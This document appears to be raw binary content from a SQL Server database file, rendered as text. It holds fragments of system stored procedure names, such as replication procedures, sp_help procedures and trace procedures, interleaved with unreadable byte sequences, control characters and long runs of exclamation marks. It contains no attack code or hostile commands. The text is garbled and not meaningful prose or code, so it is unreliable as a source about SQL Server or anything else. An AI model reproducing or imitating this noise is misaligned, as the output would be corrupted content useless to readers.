[DZ&,Bsp_MSadd_repl_commands27hp&:sp_MSadd_replcmds_mcit&&@sp_MSadd_snapshot_history&L?>sp_MSadd_subscriber_info&}<sp_MSadd_tracer_history&8sp_MSadd_tracer_token&|Q>sp_MSaddanonymousreplica&Z\sp_MSadddynamicsnapshotjobatdistributor&_2sp_MSaddguidcolumn&Bsp_MSaddinitialpublication&LIFsp_MSaddinitialschemaarticle&U)Dsp_MSaddinitialsubscription&_Lsp_MSaddlightweightmergearticle&lLsp_MSaddmergedynamicsnapshotjob&E8sp_MSaddmergetriggers&Tsp_MSaddmergetriggers_from_template&,sp_MSaddpeerlsn&aFsp_MSaddsubscriptionarticles&>sp_MSadjust_pub_identity&3f:sp_MSagent_stethoscope&ҲNsp_MSallocate_new_identity_range&Bsp_MSalreadyhavegeneration&$4sp_MSarticlecleanup&6@sp_MSbrowsesnapshotfolder&0Bsp_MScache_agent_parameter&d6sp_MScdc_cleanup_job&8sp_MScdc_db_ddl_event&P[2sp_MScdc_ddl_event&,sp_MScdc_logddl&`sp_MSchange_distribution_agent_properties&Zsp_MSchange_logreader_agent_properties&Fsp_MSchange_mergepublication&&6sp_MSchange_priority&m<sp_MSchange_publication&Psp_MSchange_retention_period_unit&?Psp_MSchange_subscription_dts_info&1{Bsp_MSchangearticleresolver&bsp_MSchangedynamicsnapshotjobatdistributor&ep\sp_MSchangedynsnaplocationatdistributor&,@sp_MScheck_agent_instance&le@sp_MScheck_Jet_Subscriber&[{Zsp_MScheck_logicalrecord_metadatamatch&hTsp_MScheck_merge_subscription_count&s<sp_MScheck_subscription&@sp_MScheck_tran_retention&,Bsp_MScheckexistsgeneration&&<sp_MScheckexistsrecguid&j8VFsp_MScheckfailedprevioussync&<sp_MScheckidentityrange&$9Tsp_MSchecksharedagentforpublication&ݘu>sp_MSchecksnapshotstatus&S8sp_MScleanup_conflict&VLsp_MScleanup_publication_ADinfo&7^sp_MScleanup_subscription_distside_entry&\Psp_MScleanupdynamicsnapshotfolder&pBsp_MScleanupdynsnapshotvws&@sp_MSCleanupForPullReinit&oPTsp_MScleanupmergepublisher_internal&Fsp_MSadd_subscriber_schedule&[:sp_MSaddinitialarticle&
<sp_MSadd_snapshot_agent&Rsp_MSchange_merge_agent_properties&X>sp_MScleanup_agent_entry&ޛ4sp_MSadd_repl_error&u<sp_MScheck_pub_identity&T.:sp_MScheck_pull_access&:sp_MSchangeobjectowner&x"0sp_MSaddguidindex&{Jsp_MScheck_subscription_expiry&>sp_MSchange_originatorid&W@sp_MSadd_subscription_3rd&!4sp_MSchange_article&CFsp_MSagent_retry_stethoscope&w8sp_MSadd_subscription&768sp_MSchange_retention&%UJsp_MSaddmergetriggers_internal&Vsp_MSclear_dynamic_snapshot_location&PPsp_MScheck_subscription_partition&6sp_MScheckIsPubOfSub&kU8sp_MSanonymous_status&J,<sp_MSadd_replmergealert&.K>sp_MSchange_mergearticle&@sp_MScheck_snapshot_agent&6sp_MScdc_capture_job&Xsp_MSchange_snapshot_agent_properties!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!8HX

B

B<\r

<
		H	<@Z(x8t:86f""hZ~\L(`f
\"	N[t#ȉU&1T0sp_setuserbylogin&
$sp_showcolv&"*sp_showlineage&>,sp_showmemo_xml&?`8sp_showpendingchanges&I=8sp_showrowreplicainfo&2sp_special_columns&GJ:sp_special_columns_100&P;8sp_special_columns_90&*06sp_sproc_columns_100&Bg"sp_sqlexec&+6sp_srvrolepermission&:sp_start_user_instance&Tsp_startmergepullsubscription_agent&Tsp_startmergepushsubscription_agent&Fsp_startpublication_snapshot&^Jsp_startpullsubscription_agent&_(sp_statistics&Fh0sp_statistics_100&B)8sp_statistics_rowset2&,WRsp_stopmergepullsubscription_agent&.Rsp_stopmergepushsubscription_agent&?uDsp_stoppublication_snapshot&DzHsp_stoppullsubscription_agent&Hsp_stoppushsubscription_agent&:6sp_stored_procedures&_/&sp_subscribe&cDsp_syspolicy_execute_policy&|hsp_syspolicy_unsubscribe_from_policy_category&v+Lsp_syspolicy_update_ddl_trigger&	s`Zsp_syspolicy_update_event_notification&YNDsp_table_constraints_rowset&Fsp_table_constraints_rowset2&y4sp_table_privileges&<l:sp_table_privileges_ex&rODsp_table_privileges_rowset2&Bsp_table_statistics_rowset&M Dsp_table_statistics2_rowset&o @sp_table_type_columns_100&INsp_table_type_columns_100_rowset&ͲPsp_table_type_primary_keys_rowset&a*sp_table_types&?8sp_table_types_rowset&{4sp_table_validation&2sp_tablecollations&9w*sp_tableoption&PR&sp_tables_ex&LDsp_tables_info_90_rowset_64&,M8sp_tables_info_rowset&>sp_tables_info_rowset_64&t:sp_tables_info_rowset2&	i.sp_tables_rowset&B6sp_tables_rowset_rmt&	6$sp_tableswc&g,sp_trace_create&:sp_trace_generateevent&z.sp_trace_getdata&2sp_trace_setstatus&,sp_unbindefault&pn(sp_unbindrule&w&sp_unprepare&Ӫ2Jsp_unregister_custom_scripting&GJDsp_unregistercustomresolver&,+,sp_unsetapprole&&<sp_update_agent_profile&D<sp_update_user_instance&'@sp_updateextendedproperty&z*sp_updatestats&V4sp_testlinkedserver& sp_tables&/)O4sp_sproc_columns_90&Bsp_table_privileges_rowset&!n4sp_table_type_pkeys&үJsp_table_privileges_rowset_rmt&8sp_tablecollations_90&I*sp_unsubscribe&>sp_tables_info_90_rowset&mZUJsp_startpushsubscription_agent&n:sp_subscriptionsummary&f:sp_tablecollations_100&LC@sp_tables_info_rowset2_64&%xO0sp_trace_setevent&}Q<sp_subscription_cleanup&4/Fsp_tables_info_90_rowset2_64&Fsp_sparse_columns_100_rowset&z2sp_trace_setfilter&s&sp_spaceused&="6sp_statistics_rowset&!@sp_tables_info_90_rowset2&.sp_sproc_columns&0sp_tables_rowset2&R`sp_syspolicy_subscribe_to_policy_category!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z>dH"


n
4

F6Pf<,P


t
$
		R		l^z.\&RvF:vT8z|B
`
gR"[t~&W&Lsp_help_fulltext_columns_cursor&Rsp_help_fulltext_system_components&<sp_help_fulltext_tables& Jsp_help_log_shipping_alert_job&Fsp_help_log_shipping_monitor&$Vsp_help_log_shipping_monitor_primary&Xsp_help_log_shipping_primary_database&DZsp_help_log_shipping_primary_secondary&H\sp_help_log_shipping_secondary_database&Hsp_help_peerconflictdetection&Bsp_help_publication_access&w!Tsp_help_spatial_geography_histogram&ZgLsp_help_spatial_geography_index&\Tsp_help_spatial_geography_index_xml&Rsp_help_spatial_geometry_histogram&7
Jsp_help_spatial_geometry_index&ǏSRsp_help_spatial_geometry_index_xml&|Hsp_helpallowmerge_publication&!*sp_helparticle&0sp_helparticledts&0sp_helpconstraint&2sp_helpdatatypemap&s2sp_helpdbfixedrole&lo2(sp_helpdevice&q6sp_helpdistpublisher&8sp_helpdistributiondb&,ca2sp_helpdistributor&k)Hsp_helpdistributor_properties&̲Bsp_helpdynamicsnapshot_job&T4sp_helpextendedproc&*]$sp_helpfile&.sp_helpfilegroup&&sp_helpindex&wX,sp_helplanguage&48sp_helplinkedsrvlogin&=(sp_helplogins&;d:sp_helplogreader_agent&:@sp_helpmergearticlecolumn&/Fsp_helpmergearticleconflicts&oFsp_helpmergelogfileswithdata&qJ<sp_helpmergelogsettings&^8sp_helpmergepartition&Q<sp_helpmergepublication&3Fsp_helpmergepullsubscription&>sp_helpmergesubscription&O*sp_helpntgroup&
z4sp_helppeerrequests&Dsp_helppublication_snapshot&Ժ:sp_helppublicationsync&2<sp_helppullsubscription&96sp_helpqreader_agent&w1<sp_helpreplfailovermode&
V6sp_helpreplicationdb&Bsp_helpreplicationdboption&>sp_helpreplicationoption&7$sp_helprole&'(sp_helprotect&(sp_helpserver&4$sp_helpsort&*sp_helpsrvrole&&sp_helpstats&'74sp_helpsubscription&EJsp_helpsubscription_properties&5@sp_helpsubscriptionerrors&p"$sp_helptext&2sp_helppublication&u8sp_helpsubscriberinfo&cZ^2sp_helpremotelogin&:Pj>sp_helpmergeconflictrows&%6sp_helpmergelogfiles&V,4sp_helpmergearticle&Jsp_helpmergealternatepublisher&Jsp_help_fulltext_tables_cursor&Zsp_help_log_shipping_monitor_secondary&r6sp_helpsrvrolemember&MZsp_help_log_shipping_secondary_primary& sp_helpdb&j0sp_helprolemember&k2sp_helpmergefilter&]8sp_helparticlecolumns&26sp_helppeerresponses&jJsp_helpmergedeleteconflictrows!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z:lH 


T

p6V

`

xP:		Z	2	zV"f.`l<HXv.x v:,`
dD"

[;X&sd*sp_MSdropretry&$2sp_MSdroptemptable&ٶ.sp_MSdummyupdate&Jsp_MSdummyupdate_logicalrecord&]2sp_MSdummyupdate90&gDsp_MSdummyupdatelightweight&fbsp_MSdynamicsnapshotjobexistsatdistributor&3Tsp_MSenable_publication_for_het_sub&:sp_MSenum_distribution&͈@sp_MSenum_distribution_sd&S~Lsp_MSenum_logicalrecord_changes&34sp_MSenum_logreader&:8sp_MSenum_logreader_s&Fm8:sp_MSenum_logreader_sd&:u,sp_MSenum_merge&D-0sp_MSenum_merge_s&OHsp_MSenum_merge_subscriptions&fsp_MSenum_merge_subscriptions_90_publication&~bsp_MSenum_merge_subscriptions_90_publisher&Psp_MSenum_metadataaction_requests&MT0sp_MSenum_qreader&G4sp_MSenum_qreader_s&6sp_MSenum_qreader_sd&FwFsp_MSenum_replication_agents&+@sp_MSenum_replication_job&6sp_MSenum_replqueues&9n<sp_MSenum_replsqlqueues&ƒ2sp_MSenum_snapshot&h6sp_MSenum_snapshot_s&A:8sp_MSenum_snapshot_sd&>sp_MSenumallpublications&م@sp_MSenumallsubscriptions&۩Fsp_MSenumarticleslightweight&36.sp_MSenumchanges&1Rsp_MSenumchanges_belongtopartition&jXsp_MSenumchanges_notbelongtopartition&g:sp_MSenumchangesdirect&WDsp_MSenumchangeslightweight&Y.sp_MSenumcolumns&Dsp_MSenumcolumnslightweight&Hsp_MSenumdeletes_forpartition&.Dsp_MSenumdeleteslightweight&-!>sp_MSenumdeletesmetadata&[]Vsp_MSenumdistributionagentproperties&$2sp_MSenumerate_PAL&K6sp_MSenumgenerations&:sp_MSenumgenerations90&^<sp_MSenumpartialchanges&BHsp_MSenumpartialchangesdirect&_X<sp_MSenumpartialdeletes&/0sp_MSenumreplicas&@b4sp_MSenumreplicas90&MOI.sp_MSenumretries&F:sp_MSenumsubscriptions&K٣Rsp_MSestimatemergesnapshotworkload&sHsp_MSestimatesnapshotworkload&e<sp_MSevalsubscriberinfo&=bsp_MSevaluate_change_membership_for_all_articles_in_pubid&
X`sp_MSevaluate_change_membership_for_pubid&M?\sp_MSevaluate_change_membership_for_row&8sp_MSenumschemachange&pJDsp_MSensure_single_instance&<sp_MSenum_subscriptions&$>sp_MSenum_distribution_s&
Gh2sp_MSenum_merge_sd&@:sp_MSenumpubreferences&%`sp_MSenumthirdpartypublicationvendornames&:VNsp_MSenum_merge_agent_properties!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!